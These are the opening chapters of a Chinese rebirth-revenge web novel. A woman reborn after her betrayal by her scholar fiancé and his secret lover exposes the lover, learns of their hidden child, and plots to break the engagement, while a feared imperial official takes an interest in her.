《重生才知,我是权臣的白月光》 第1章 抓奸 清明刚过,细雨绵长。 叶婉宁从马车上缓缓而下,云芝替她打着伞,犹豫道,“姑娘,您可要想清楚,这门一开,您和姑爷就没回头路了。” “敲门吧。”叶婉宁的薄唇扯出一抹不易察觉的嘲讽。 回头?她想得不能再清楚了。 她今日,就是特意来抓奸! 小厮“砰砰”敲门,不一会儿,有婆子开门,没好气问“是谁”。 云芝上前拿出房契,“我家姑娘是这处宅院主人,今日特意来收回宅院,还请你们速速搬离。” 婆子大抵是不识字,对着房契看了又看,眉头紧皱地小跑回去,随后有位妙龄少女跟着出来,看到叶婉宁,眼尾颤颤,刷地落下眼泪。 “婉宁妹妹,你这是?”许竹苓期期艾艾地望了叶婉宁一眼,拧紧手帕。 叶婉宁没动,再看到许竹苓,目光冷冷,“这处宅院是我当初借给周钰的,现在我想收回,你也不必如此看我,让你住这两年,真是我做过最错误的决定。” 她与周钰是娃娃亲,后来周家败落,叶家秉持道义,没有悔婚。在周钰上京赶考时,还出钱出力。后来周钰高中状元,许竹苓来投靠,说是周钰表妹,叶婉宁看她可怜,便让许竹苓借住在此。 谁曾想,这两人哪里是表兄妹,竟是一对奸夫淫妇。 上辈子,周钰借着叶家根基,在官场站稳脚跟后,便过河拆桥,陷害叶家到满门抄斩。 至于叶婉宁,则是被周钰幽禁后院,得了脏病,名声尽毁。 她还记得,临死前也是这么个雨天,许竹苓扶着孕肚来看她,笑容得意,“妹妹还真是有骨气,硬生生撑了那么久。你要见夫君?可夫君不愿意见你啊。” 那会的叶婉宁,只知道周钰与许竹苓早有首尾,却不知道叶家是周钰所害,更不懂自己的脏病是周钰故意为之。她以为周钰被蒙在鼓里,想要在闭眼前见周钰一面,拆穿许竹苓的蛇蝎面目。 但许竹苓看着她,笑得更畅快了,“妹妹还真傻,你是不是觉得,夫君误会了你,其实你没有红杏出墙,是被人陷害?对,你确实没有红杏出墙,你的脏病是夫君让人故意去妓院找来妓女的衣物,只有你名声毁了,他才能名正言顺休了你,还不影响他的声誉。” “至于叶家,那也是叶家活该,夫君要上位,就得给右相看到诚意,叶家一直和右相不对付,叶家便是夫君给右相的投名状。” 许竹苓看叶婉宁愣住,低头摸着隆起的小腹,“你看,你输了,我赢了。我现在是周家主母,枫哥儿成了周家长子,往后你的位置,都会由我来代替。妹妹,你安心去吧,用你的死,再成全夫君的名声一次。” 一个眼神,两个婆子走向叶婉宁。 叶婉宁却突然大笑,癫狂的样子让人不敢靠近,她满身脓疮,婆子们都怕被传染,迟疑地停住。 “可是许竹苓,你真的赢了吗?”她颤着腿,朝许竹苓扑了过去,没等婆子们反应过来,手中的碎瓷片猛地朝许竹林脖颈划去。 瞬间,鲜血迸出。 许竹苓不可置信地瞪大眼睛,捂着脖颈倒下。 叶婉宁已经用尽力气,瘫坐在地上,耳边的咒骂越来越模糊,真是可惜了,没让周钰一起下地狱,实在让人遗憾。 等她再次醒来,发觉自己重生了,离婚期还一个月,还可以挽回一切,一番谋划后,带着人到了这里。 “妹......妹妹,你这是何意?”许竹苓怯怯抬头,微风吹湿她的鬓角,更加楚楚可怜。 叶婉宁冷笑,“三日前,你上我家和我祖母说了什么,你不会忘了吧?” “妹妹你别误会,我是怕你多想,才想着去和叶老夫人解释一番,我与表哥清清白白,绝无男女之情!”许竹苓言之凿凿,甚至举手发誓,“或许是叶老夫人多心了,我一个弱女子,靠着你和表哥才不至于流离失所,怎么会想拆散你与表哥?” 顿了顿,她似乎不甘心,却还是直直跪下,“无论如何,惹妹妹生气,便是我的错。我不该去找叶老夫人,更不该让你们误会,求你别赶我走,我是浮萍一样的人,离了这里,只剩死路一条了。” 宅院虽僻静,却也有人经过。 他们在门前说话,闹出了动静,有人停下观看。 附近的街坊都认识许竹苓和叶婉宁,瞧她们这样,有人开口,“叶大姑娘,你也是个没了爹娘的,怎么这般铁石心肠?我看许姑娘好得很,平日里见谁都是客客气气,怎么到了你嘴里,便十恶不赦呢?” “就是,叶大姑娘你的心胸也太狭隘了!” “哎,真是可怜啊,没爹没娘的孩子,就容易被人欺负。这事咱们不能做事不管,今日你们叶家不说出个所以然,咱们就去官府说道说道!” ...... 有人帮许竹苓说话,就有帮叶婉宁的,“这处宅院本就是叶家的,叶家想收回就收回,许竹苓白住还住出道理了吗?” 但很快,这人就被其余人讨伐,“你也太缺德了,叶家又不缺一处宅院,何至于把人往绝路逼?” ...... 眼看围观人争吵起来,好在叶婉宁早就料到这一幕,给云芝使了个眼色,云芝飞快扯下许竹苓腰间的钱袋。 叶婉宁打开钱袋,拿出一枚玉佩展示给众人,“我叶家是不缺一处宅院,但我好吃好喝地供着许竹苓,她却觊觎我的未婚夫,这枚玉佩便是物证,谁家表妹贴身带着表哥的玉佩呢?” 这话一出,众人噤口。 附近的街坊都清楚,是叶婉宁收留了许竹苓,现在好心没好报,反而养出一个狐狸精,当即有妇人捡石子丢向许竹苓,“不要脸的贱货,做出这种亏心事,就该把你抓去沉潭。亏我方才还帮你说话,呸,真是瞎了我的眼!” 人群议论纷纷,全在骂许竹苓恩将仇报。 许竹苓愣愣懵住,方才她与表哥在府里幽会,才想着到门口拦叶婉宁一会儿,凭她想破脑袋,都没料到叶婉宁是来赶她走的。 至于玉佩,她一直贴身带着,叶婉宁怎会知道? 只是还没理清思路,连着几块石子砸在身上,这下是真疼得掉眼泪,许竹苓红着眼眶摇头,“不是这......” “那又是哪样呢?”叶婉宁打断许竹苓的话,到了这个地步,她不会再给许竹苓喘息的机会,“城南的说书先生诋毁叶家,我也派人查了,是你给的好处。我是真想不明白,我何时对不起你呢?” 一声质问,带了上辈子的怨气,让许竹苓的脸色白了又白。 许竹苓非常后悔,若知道叶婉宁是来找事,她应该把人带进去,有表哥在,说不定还有转圜的余地。可当着那么多人,她被搜出玉佩,名声是彻底毁了。 “误会,都是误会!”许竹苓忍着痛,跪着上前,哭得梨花带雨,不管怎样,绝对不能当众承认自己对表哥的心思。 她这番模样,倒是引来男人的心疼,“许姑娘面相端正,我不信她会做出这种事,肯定是有误会。叶大姑娘可别血口喷人,污蔑姑娘家清白,可是要遭报应的!” “报应吗?” 没等叶婉宁开口反驳,远处传来一声冷哼。 众人回头,瞧见镇抚司的谢泊淮骑马而来。 镇抚司受命于天子,有先斩后奏之权,是京城里最不能得罪的人。 谢泊淮身形高大,墨色的眼尾轻轻上挑,看不出神色,目光扫过众人,落在叶婉宁身上,“叶大姑娘,许久不见了。” 叶婉宁暗道不好,虽然不知自己何时得罪过谢泊淮,但谢泊淮曾当众说过她有眼无珠。她在心中默默祈祷,像谢泊淮这种大忙人,应该只是打个招呼,不会多管她的闲事。 只是她才行礼应了一声,便看到谢泊淮跳下马背,径直朝她走来,“方才听了一嘴,我倒是没想到,天下眼瞎心黑的人如此之多。”谢泊淮停在台阶下,转身看向帮许竹苓说话的人,“既然这位兄台心疼许姑娘,不如你把人接家去?” 他敛去笑意,深色官服压迫感十足,叫人脖颈微凉。 这可是一位,杀人不眨眼,凶名远扬的主。 第2章 诛心 谢泊淮一开口,把人吓得发颤跪下,冷眼扫去,无一人敢大口喘气。 连叶婉宁也在揣测,谢泊淮为何说这些话? 那人不敢应谢泊淮,他收回目光,转而看向叶婉宁。 四目相对,在谢泊淮泼墨般的眸子里,叶婉宁看不出他的心思,只好暂且作罢,转而让人把说书先生带上来,“人证物证都有,是不是误会,我并不介意去府衙走一趟。” 一听要报官,许竹苓更慌了,疯狂给婆子使眼色,可婆子被云芝挡住去路,她现在求助无门,只能哀求地给叶婉宁磕头。 “是我不好,我不该惹妹妹生气,你想怎么指责我都行,可是这玉佩和说书先生,我也不知......” “要说你也不清楚是吗?”叶婉宁把许竹苓看得透透的,俯身浅笑,“你还是只会这一招,可你哭给谁看呢?你我在这门口闹腾那么久,怎么不见周钰来帮你说一句话?” 她们心里都清楚,周钰就在府里。 这次过来,叶婉宁做了十足的准备,就算许竹苓出来拖延时间,她的人也会堵住所有门,不让周钰逃走。 这一次,她要赢,而许竹苓注定会输得一败涂地。 许竹苓哑口,一时想不到话来辩驳,听叶婉宁下令丢她东西,她才擦着眼泪起身,“妹妹,你与表哥婚期在即,你这般赶我走,不怕伤了你们的情分吗?” 话刚说出口,许竹苓就意识到自己冲动了。 叶婉宁的一只脚已经迈过门槛,提及周钰,心底窜起滔天恨意,但这会她面上却淡淡笑着,“我与周郎是打小的情谊,像你这种无关紧要的人,又干出无耻的事,你觉得周郎会为了你,责怪我吗?” 杀人要诛心,叶婉宁是世家嫡长女,许竹苓只是个村长之女,一个天一个地,就算周钰心中再喜欢许竹苓,也会在明面上支持叶婉宁。 进了宅院,云芝立马带着人去搬东西。 小厮给叶婉宁搬来木椅,她刚准备坐下,看到谢泊淮主仆也进来了。 或许是看出她眼中的意外,谢泊淮体贴地道,“说起来,你我两家还是远亲,今日你有难事,我怎么也该帮着坐镇一会。叶大姑娘不用与我客气,我这人不讲究,哪里都能坐。” 说着,他跨过长廊,随意地坐下。 叶婉宁却是坐不住了,远亲? 叶家与谢家,那是隔着几代祖宗的姻亲,她都数不过来,是旁支姑祖奶,还是姑祖奶的姑姑嫁到谢家。早就没了往来,哪里谈得上亲戚? 可谢泊淮都坐下了,叶婉宁又不能把人赶出去,毕竟谁人不知,宁愿得罪街边的狗,也别得罪镇抚司的谢泊淮。 他这人,心狠手辣,还记仇。 叶婉宁是实在想不通,谢泊淮哪来的闲情逸致,偏要掺和她的这点事。 不管是前世,还是过去十八年,她与谢泊淮都没私交。前世她出嫁后没多久,谢泊淮便带兵去了边境,半年内立下赫赫战功,却也死在战场上。 这样一个人,是她万万开罪不起的。 “有劳大人辛苦了。”叶婉宁请谢泊淮进屋坐,谢泊淮说不用,这时云芝来传话,小声说周大人在后院,看了谢泊淮一眼,她带着人冲去后院。 宅院有三进,不算太大,叶婉宁刚见到周钰,便听他出声指责,“我不知竹苓对我有心思,但她是我表妹,就算为了我的面子,你也该把人带进府里说话,为何在门口发作起来?” 周钰父亲早逝,由寡母拉扯长大,中举后便由叶家安排,进入京城的书院读书,吃喝开销都是叶家出钱。他与叶婉宁本应在三年前成亲,但叶婉宁爹娘相继离世,婚期便一拖再拖。 去年周钰高中状元,所有人都夸叶家仁义,若不是看重情谊,也不会得一个状元郎当女婿。 以前背地里拿叶婉宁说笑的,如今都夸她命好,叶婉宁更是一心待嫁,亲手绣嫁衣。 现在她还没问周钰为何在此,周钰反而先发难,让人不由好笑。 是她上辈子猪油蒙了心,才没看出周钰是只吃人不吐骨头的豺狼,她突然想到周泊淮对她的评价,确实有眼无珠。 “我本来是想进府说话,但许竹苓拦我在门口。”对着周钰,叶婉宁有太多仇恨,但这会还得沉住气周旋,“周郎不问清楚,开口便是责备,莫非是你们情投意合?” “胡说!”周钰大声反驳,“我行得正,坐得端,你怎好把我当无耻小人?” “是吗?那你为何在这里?”叶婉宁发出灵魂拷问。 在叶婉宁与许竹苓争论时,周钰已经想好借口,“今日休沐,我本想去找你兄长喝茶,正好经过此处,便进来看看。我与表妹从无私情,方才我没出去,就是怕你误会,你莫要多心。” 表哥来看看独居的表妹,好像也说得过去,捉奸得拿双,叶婉宁没把人捉奸在床,确实无法证明两人的关系。 不过这也是叶婉宁意料之中的事,前世叶家满门抄斩,她自己也落了个名声尽毁,不得好死的结局。重来一次,她不打算让许竹苓和周钰那么轻松去死,得让他们先体验绝望。 “好,我相信你说的。”叶婉宁拧帕子擦擦眼角,适当示弱,“我不是不能容人的人,周郎年轻有为,许竹苓对你心生爱慕也是正常,但她不该诋毁叶家,这里是不能让她住了。你若是心疼她,便把她接过去吧。” 周钰没中状元前,一直借住在叶家,他的宅院是去年中状元后买的,那会许竹苓已经住在这里。因为周母没来京城,让许竹苓搬过去,孤男寡女的,周钰怕影响自己,便没让许竹苓搬家。 况且,周钰自以为叶婉宁对他百依百顺,绝不会对他起疑心,从没想过会出这种事。 现在让他接人过去,就算叶婉宁信他,外边人也会编排他和许竹苓不清不楚。 他和许竹苓从小一起长大,靠着许家接济,才得以读书中举,许竹苓在他这里,是不一样的。 但再独特的女人,也不如周钰自己的前程重要。 “不必了。既然她心思不纯,我会派人送她回老家。如今老家的匪盗已平,为她购上几亩田地,算是我报答许家对我的恩情。”周钰目光诚恳,“婉宁,我不希望任何人、任何事破坏了我们的情谊。” 叶婉宁忍着恶心,点头说了句好,两人刚走出屋子,许竹苓哭着扑了过来。 “表哥,救我!” 叶婉宁巧妙地闪开了,看都没看许竹苓一眼,但周钰知道,他必须在两人间做出选择。 周钰能在京城立足,离不开叶家的提携,这是同僚都知道的事,所以结果显而易见。 第3章 孩子 “表妹,你糊涂!”周钰甩开许竹苓伸过来的手,主动站到叶婉宁边上,“叶家对你恩重如山,你怎能传叶家不好?” “不,我没有,表哥你听我解释。”许竹苓心凉了半截,其实叶家那些流言,是周钰让她传的,但周钰现在这个态度,明显是要她来顶罪,“真的是误会,你是知道的,我从小连杀鸡都不敢看,哪里......” “够了,你死不悔改的样子,让我太失望了!如果我知道你是这种人,两年前我就该送你回村里。”周钰做出痛心模样,说出他的决定。 他很清楚叶婉宁的处事,大家族里养出来的女孩,不会做没有把握的事。叶婉宁能来这里赶人,说明忍耐到了极限。 这一次,是他疏忽了。 悄悄地瞥了许竹苓一眼,他希望许竹苓聪明点,现在说送走,并不是真的要送走,只是做戏给叶婉宁看。 稳住叶婉宁,是现在最重要的事。他与叶婉宁的婚事,绝对不能出现任何差错。 许竹苓听到要送她走,哪里愿意,可接到周钰的眼神,她知道没有挽回的余地了。今儿个,是她大意了,不曾想叶婉宁还有这种手段,而她却丝毫没有察觉。 跪下磕头,临走前,许竹苓不忘自己人设,“这段日子,感谢婉宁妹妹和表哥的收留。我只是个弱女子,旁人说什么就是什么,我也无法辩解,但我相信,总有真相大白的一天。此次回乡,怕是难再见面,祝愿你们平安顺遂。” 听听,这话多有意思。 暗示自己是清白的,却还是感恩叶婉宁的收留,并大方送上祝福。 若是上辈子的叶婉宁,真会心软把人留下,可现在,她就像看个小玩意一样。 难见面?怎么可能,周钰还是很看重许竹苓的,不然怎会休了她之后,娶许竹苓为正妻。 可是再看重有什么用,女人于周钰而言,不过是用来上位的垫脚石。 看收拾东西的婆子过来,叶婉宁不客气道,“东西都收好了,那就滚吧。” 许竹苓的脸色白了又红,她感觉今天的叶婉宁很不一样,以前的叶婉宁不会骂得那么直接,有什么不满,也得兜几个圈子来暗讽。可人还是那么一个人,那张高高在上,不受人间烟火的脸,一点都没变。 再多的不甘心,许竹苓只能走人。 周钰待着不舒服,心里想着怎么安排许竹苓,匆匆告辞。 等叶婉宁回到前院,却看到谢泊淮还在,很是意外。看谢泊淮穿着官服,今日应该当差才是,怎会那么空闲? “叶大姑娘,你就那么信得过周钰?”谢泊淮突然开口。 叶婉宁作出不解模样。 “也罢,本官公务繁忙得很。”谢泊淮没刨根问底,行到院中顿了顿,听到软软的一句“大人慢走”,薄唇哼了一声,边上的青山下意识缩紧脑袋。 主仆二人出了宅院,青山大气不敢喘,他与主子一块长大,知道大人是生气了。可生气的缘由是什么,他琢磨了半天,却没头绪,小小声地试探,“三爷,您不是不喜叶大姑娘吗?” 谢泊淮侧身,“谁与你说的?” 青山下意识接话,“前两年,右相夫人的寿宴上,您不是当众说叶大姑娘有眼无珠么。当时都吓坏小的了,叶大人虽然过世了,但叶家根基深厚,叶家人可宠叶大姑娘了。”他知道主子得罪的人多,但怕太多了,哪天真被人报复。 谢泊淮的目光只在青山脸色顿了顿,翻身上了马,“有空想这些事,看来你还是太闲了,回去后劈一车柴,再去营地跑十圈。” “啊?”青山不懂哪句说错了,但主子已经骑出几丈远,只好加快赶上。 而叶婉宁在让人烧艾叶,“多烧一点,去去晦气。明日叫来房牙子,尽快把这里卖了。” 吩咐完后,叶婉宁坐上回叶家的马车。 其实这几年,叶家并不算好过。 叶家人丁单薄,父亲这一辈只有两兄弟,二叔做官平平,这几年在户部籍籍无名。五年前父亲去世,刚弱冠的大哥撑起整个家族,肩上的担子太重,不容许他出一点错误,以至于二十几岁的年纪,看着老了十岁。 二哥连着两次都没中举,正闹着要南下做生意,可士农工商,他们世家出身的子弟,哪能看他入商贾。祖母是以死相逼,怎么说都不答应。二哥干脆不去书院,整日喝酒逗猫,连带着拖累了婚事。 在叶婉宁下边,还有两个妹妹一个弟弟,弟弟年纪尚小,看着倒是乖巧,但两个妹妹也都及笄,正是要相看人家的时候。 可叶家沉寂了几年,还得维持世家面子,这几年都是入不敷出,过得捉襟见肘,这也是叶婉宁来收回宅子的一个原因。 “哎。” 思绪到此,叶婉宁长叹一声,马车正好停在叶府门口。 刚进家门,祖母身边的冯嬷嬷迎了过来,“老夫人派老奴在这里候着,二哥儿出门寻您去了,您没碰上吗?” 叶婉宁摇摇头,“二哥找我做什么?” “自然是去给您撑腰,知人知面不知心,咱们也想不到,那许竹苓竟是个坏的。”冯嬷嬷很是气愤。 驱赶许竹苓的事,叶婉宁提前和祖母说了,现下有了结果,她跟着冯嬷嬷去了德容院。打帘进屋,先瞧见了两位妹妹,她们满脸担忧。 二妹妹婉玉拉住叶婉宁胳膊,“祖母说这段日子诋毁叶家的流言,都出自许竹苓,大姐姐该带上我才是。如果我在,得当场给她两耳光!” 三妹妹婉华眼睛红红的,“大......大姐,你没被欺负吧?” “我是有备而去,哪能被欺负?”叶婉宁笑着给妹妹擦了眼泪,“好妹妹,快别哭了,你姐姐我好着呢。” 带着两个妹妹进了里屋,祖母病着,叶婉宁怕祖母着急,先说了事情经过。 叶老夫人是被许竹苓气病的,前几日,叶婉宁回老宅祭祖,许竹苓上门问安。话里话外,都在暗示她与周钰一块长大,有着不错的情分。叶老夫人没了儿子,心里记挂着几个孙辈,看出许竹苓的不一般,焦虑了一晚上,第二天就病了。 等叶婉宁回来,只说让祖母放心,她必不会受人欺凌。 谁都不知道,从老宅祭祖回来的叶婉宁,是重生的。她带着云芝谋划一番,今日一早带人出门。 “这下祖母可以放心养病了吧?”叶婉宁笑着拉住祖母的手,她是祖母看着长大的孩子,与祖母感情深厚。 叶老夫人松了口气,却没完全安心,“我们与谢家没有来往,谢泊淮为何掺和你的事?” 叶婉宁摇摇头,边上的叶婉玉语出惊人,“大姐姐,谢指挥使是不是看上你了?” 叶家长女,才貌双全,早在叶夫人还在世的时候,叶婉宁便美名远扬。可惜婚事已定,不然叶家的门槛早被人踏破了。 “别瞎说。”叶老夫人当即维护孙女,“你大姐姐向来循规蹈矩,和谢泊淮都没见过几次。这样的话不许再说,你们几个往后见到谢泊淮,离他远些才是。他如今是天子近臣,我们不做趋炎附势的事,但也别把人得罪了。谢泊淮这样的人,叶家不适合来往。” 叶婉玉赶忙捂嘴,不敢多说。 叶婉宁是差点笑了,其他人她不能保证,但谢泊淮肯定对她无意。两年前宴会上的事,她还记忆犹新。 安抚好祖母,叶婉宁带着妹妹们离开。她与周钰的事,她自己解决就好,祖母的身子经不住任何辛劳。 回到院子里后,叶婉宁派去跟着许竹苓的人来传话,“大姑娘机智,周大人去见了许姑娘,并没有把许姑娘送走,而是安排在另一处宅院里。小的趁没人时翻墙看了看,还见到一小孩,估摸着三四岁,冲着许姑娘喊娘。” 第4章 听墙角 没等叶婉宁开口,云芝先急了,“许竹苓竟然有孩子?” 跑腿的叫福生,他也很震惊,只是说到这里,他迟疑地看向主子。 叶婉宁早就知道有这回事,“继续说。” “那......那孩子还喊周大人爹。”福生当时吓坏了,差点没站稳,大姑娘让他盯着许竹苓,谁曾想听到这种事。下个月就是大姑娘和周大人的婚期,叶家早就忙活起来了。现在出了这种事,让大姑娘怎么办才好? “什么爹?”云芝以为自己听错了,再三确认福生没听错,当即要去找大哥儿,让他们给姑娘做主。 叶婉宁喊住云芝,“如果我要闹,大哥和祖母必定会为了我退亲。但这么打上门,谁能证明那孩子是周钰的?到时候周钰死不认账,我们又该如何?没证据确凿,我们这样闹起来,叶家的名声也会受到影响。” 她了解周钰,不死到临头,周钰都不会放弃抵抗。 祖母心疼她,必定会为她退婚,可祖母的身子,已经受不了这种操劳。若是直接退婚,以周钰的为人,肯定会倒打一耙,反而揪着叶家说不好。毕竟这么婚事对周钰非常重要,他不会轻易放弃。 枫哥儿的事,她上辈子就知道了。一开始是周钰带回来,说是恩人的遗孤,想认为养子。叶婉宁没有自己的孩子,看枫哥儿乖巧可爱,便把孩子记在名下,悉心教导枫哥儿。 殊不知,枫哥儿是许竹苓和周钰的私生子,在她被囚禁时,枫哥儿对她吐口水,“你才不是我母亲,你整日只会逼着我读书写字,你给我找的先生更讨人厌。我母亲说了,你就是个毒妇,让我乖乖忍一段时间,我才喊你当母亲。现在你被休了,我再也不要忍你了!” 枫哥儿甩着捡来的树枝,不顾曾经的母子情分,狠狠抽打叶婉宁。 她对这个孩子,记忆深刻。 云芝哑口,愣了好半天,哭了出来,“可是姑娘,那您怎么办啊?如果周大人真的和许竹苓生了孩子,您还嫁给他吗?”她心疼主子,好不容易盼到能成亲,却出了这种事,叫人怎么能不委屈。 “当然不嫁。”叶婉宁耐心地提云芝擦眼泪,“我都没哭,你怎么哭上了?如今我提前知道,这是好事,你应该替我庆幸。我自问对周钰一心一意,但他如此负我,说明他不值得我再为他付出。” 这些年,周钰吃叶家、用叶家的,靠着叶家的关系才能拜得名师,叶家愿意付出这些,是把周钰当成未来的女婿。 但周钰拿着她的钱,养别的女人孩子,实在欺人太甚。 叶婉宁让福生继续盯着许竹苓,“你什么都不用做,记录她每天做什么就好。云芝你擦擦眼泪,把我二哥喊来。” 周钰已经是状元郎,要对付周钰,不能光靠叶婉宁一人,她二哥这几年交了不少朋友,正好派上用场。 另一边,周钰和许竹苓关着门说话。 枫哥儿正在午睡,许竹苓看着儿子酣睡的模样,很是心疼,“往后我不能出现在周家了,表哥要把枫哥儿记在叶婉宁名下,我得什么时候才能再见到枫哥儿?” 说着,许竹苓伤心落泪,她今日受了不少委屈,看周钰过来,顺势靠在周钰怀里。 “你不要想那么多,你是枫哥儿生母,这是改变不了的事实。我不是和你保证了,不会让叶婉宁有孩子,她没有自己的孩子,必定会把枫哥儿视如己出。叶婉宁这人虽然一板一眼,没什么意思,但她出身名门,有她教养,枫哥儿必定能受益匪浅。”周钰搂着许竹苓,轻声安抚,“至于你我,都等了那么久,再多些耐心吧。” “可是我......我怕叶婉宁不肯罢休。” “不会的,叶婉宁骨子里有着世家大族的高傲,而且她最相信我,我说送你回老家,她绝对不会派人去查。”对于拿捏叶婉宁,周钰非常有自信。 许竹苓还是不甘心,但她全家都死在盗贼手下,除了周钰,再没有其他依靠。她知道周钰喜欢听话的,她乖巧地点头,“我都听你的,这段日子我会好好待枫哥儿。” 看许竹苓那么顺从,周钰很是满意,抱着人开始温存。 其实他对叶婉宁也动过心,但叶婉宁与他之间,总像有条不可逾越的鸿沟。好友说是他自卑,因为出身贫苦,所以面对叶婉宁无法放松相处,时时刻刻都得端着,怕被叶婉宁看穿底气。 但他不认同好友的话,周家也曾发达过,且以他自个的本事,想要重振周家并不难。 他对自己很自信,叶家不正是看出他的潜力,才没悔婚。说来说去,叶家并不是表面的仁义,实际虚伪得很。 怀中温香软玉,周钰还是喜欢上位者的姿态,不论他说什么、做什么,许竹苓都会说好,因为许竹苓只能仰仗他而活。这种仰望,让他的内心得到十分的满足。 屋内很快传出男欢女爱的动静,谁都没注意到,窗外闪过两道人影。 青山跟着主子拐进小巷,嘴里念叨不停,“原来周大人和许竹苓真有一腿啊,早上周大人还发誓呢,果然男人的话不能信。大人您说得对,叶大姑娘真是识人不清,要是嫁给周大人,往后她有苦头吃。” 还是他家大人好,到底心疼他,没真的让他跑圈砍柴,又带着他出门。只是没想到那么凑巧,竟然听到周钰的墙角。 “大人,您说咱们要不要知会叶大姑娘一声?”刚问出口,青山又摇摇头,“还是算了,叶大姑娘与周大人婚期在即,就算咱们说了,一来叶家不会信,二来信了也不可能退亲。他们可是娃娃亲,感情深厚着呢,最多是去母留子,好些大户人家都这样干。诶三爷,您怎么突然停......停下?” 见主子看过来,青山心中咯噔,他是又说错什么了吗?怎么主子眼中闪过一抹杀意? “你也觉得,她与周钰感情深?”谢泊淮突然停住。 “肯定啊,周大人在京城读书的几年,都住在叶家,他们是未婚夫妻,平日里不用太避嫌。就算是石头,相处这么几年,也会感情不错吧?”青山理所当然地回答。 谢泊淮转身加快步子,“你现在就去营地跑二十圈。” “啊?不是爷,小的又......好的三爷,小的这就去。”青山觉得自己很委屈,主子明明说不用跑了,为何突然又加了十圈? 但主子发了话,青山不敢不从,就当训练了。 送走主子后,青山才后知后觉地想到一件事,主子不是个爱管闲事的人,怎么今日留在叶家宅院看热闹? 不行,回去后他得找书砚问问,他脑袋好用。总得问个清楚,免得下次再说错话。 等青山跑完二十圈,回到谢家却没看到主子,书砚拍着他脑袋说傻子,让他有话待会说,先去找主子才是。 此时晚霞如火,谢泊淮正站在酒肆的楼顶,望着的方向,正是叶家。 第5章 护短 “妹妹莫怕,哥哥我来了!” 还没看到二哥人影,叶婉宁先听到他二哥的声音。她才起身,便瞧见二哥风风火火地迈过门槛。 叶明岳身高八尺有余,生得俊俏,这会却板着脸,“今日你也太不讲道义了,去找许竹苓,该带上我才是。我都听说了,许竹苓是个蛇蝎心肠的毒妇,亏她识趣跑了,不然我得提着她丢出宅院!” “二哥哥别生气,对付一个许竹苓,还用不到你。”重生后看到家人,叶婉宁心生亲切,等云芝上了茶后,才轻声叹气。 “妹妹怎么了,是不是还有为难的事?”叶明岳倾身过来,坐不住了,“有事你就说,你二哥哥我天不怕地不怕,谁要是欺负你,我一定帮你出气!” 叶婉宁小声说了枫哥儿的事,“我原以为是许竹苓一厢情愿,不曾想,我们叶家看走了眼,她与周钰竟然连孩子都有了。二哥哥你别激动,祖母身子不好,大哥哥公务繁忙,这件事,我只能先找你商量了。” “还商量什么,他周钰干出那么不要脸的事,咱们打上门去,直接退了这门亲事便是。妹妹别怕,咱们家是不比之前了......” “但周钰也不是以前的周钰了。”叶婉宁打断了二哥的话。 如今的周钰在翰林院当值一年有余,不仅得右相重用,还得皇上喜欢。反观叶家,已经没人身居高位。若是周钰咬死不认许竹苓和孩子,反而污蔑叶家,叶家是有理说不清。 屋内静了下来。 叶明岳握紧拳头,往常他就不喜欢周钰,觉得周钰心眼太多,做人做事太过圆滑,时常要人琢磨。果不其然,周钰藏了那么多事。 “哼!”叶明岳重重地呼气,再去看妹妹时,才发觉妹妹过于冷静,“妹妹可是有主意了?” “周钰当面保证,即刻送走许竹苓,但他却把人藏在京城。”叶婉宁分析道,“我身边不过一个福生跑腿,没什么能用的人,这件事,还得二哥哥你帮我办才行。周钰这人,我是不愿意嫁了,但退亲,得把罪责都推到周钰身上,才能减轻对叶家的影响。” 叶明岳瞬间明白,“这事你放心,我保证把这个事办得人尽皆知。就算周钰真狠心,还是不肯忍下许竹苓母子,那我就给许竹苓创造机会,让她缠着周钰不放。她全家都死了,周钰是他的救命稻草,绝对不会放手。” 在酒楼那些地方厮混久了,叶明岳听了不少肮脏事,从没想到,自个会用上,这些手段。但为了妹妹,要他做什么,都是愿意的。 兄妹俩商定后,时候不早了。 临走前,叶明岳不忘叮嘱,“其实谢泊淮这人,并不像传言的那么可怕,妹妹见了他,寻常往来便好。” 叶婉宁点头应了好,送走二哥哥后,才感觉能放松一些。 一晚过后,周钰上门道歉,叶老夫人还在气许竹苓的事,面对周钰淡淡的。 但周钰这人会装,在德容院待了一刻钟,便把叶老夫人哄笑了。 面对未来孙女婿,叶老夫人不好太拿乔,看到大孙女来了,便让他们俩去园子里逛逛。 叶婉宁知道,这是祖母给她和周钰缓和的机会。 “婉宁,今日你见我,不似往日热络了,可是还在气表妹的事?”周钰走到前面,拦住叶婉宁。 叶婉宁没说话,静静看着周钰。 “虽然我与表妹一同长大,但我只把她当亲妹妹看待,对她从没有过越界的心思。我也按照你的意思,把她送回老家,你莫要生我气了,行吗?”他尾音带了些许恳求,是少有的温柔。 叶婉宁忍住恶心,不动声色地错开周钰伸过来的手,“不是按我的意思,是她本就不该留在京城。” “是是是,你说得对。”周钰见叶婉宁今日有些难缠,只好耐着性子哄人,“过几日,我母亲要到京城了。表妹的事,我会说成是她思乡心切,自己要回去。母亲年纪大了,受不了惊吓,我相信你会愿意配合我的吧?” 又来了。 每次周钰要叶婉宁做什么时,总会把叶婉宁高高架起,以前叶婉宁脑子没转过弯来,现在却看得明明白白。 “还是实话实说的好,不然以伯母对许竹苓的疼爱,用不了多久,又会找理由把人接回来。到时候你是接,还是不接呢?”叶婉宁露出一个体贴的笑容,“我也是为了你着想,可别误会了我,免得到时候你难做人。” 周钰以为叶婉宁一定会答应,刚弯起的唇角僵住了,准备好夸叶婉宁大气的话,全卡在喉咙里,半天没给出反应。 叶婉宁懒得和周钰周旋,看到妹妹们在远处,只给周钰留了个背影。 周钰心想叶婉宁看着沉稳,实际还是有小女儿心思。也是,叶婉宁应该不高兴,这样才代表她心里有他。 心思这么一过,周钰重拾信心,追叶婉宁去了。 只是还没到叶婉宁身边,就看到叶家三姐妹全绷着身子,转头发现了谢泊淮。 谢泊淮是天子近臣,不少人想要讨好的对象。周钰也曾和谢泊淮示好过,但谢泊淮把他拒之门外,从那之后,他更想往上爬,待他日后官至一品,好好打谢泊淮这些人的脸。 昨儿遇见谢泊淮,周钰就想不明白,谢泊淮什么时候那么闲了,竟然会参与叶家和他的事? 周钰没想明白,一晚上翻来覆去,后半夜才睡着。 再次遇到谢泊淮,周钰不敢多打量,匆匆瞥了一眼,便去看与谢泊淮同行的叶明岳,“二哥好,谢大人好。” 看到周钰,叶明岳心里窜起一股怒火,想到妹妹的话,又只能憋着,阴阳怪气地哼了句,“我再好,也不如周钰你好,你可厉害呢。” 周钰面色讪讪,他知道叶家人都护短,但叶明岳当着谢泊淮这个外人阴阳他,让他脸面有些挂不住。 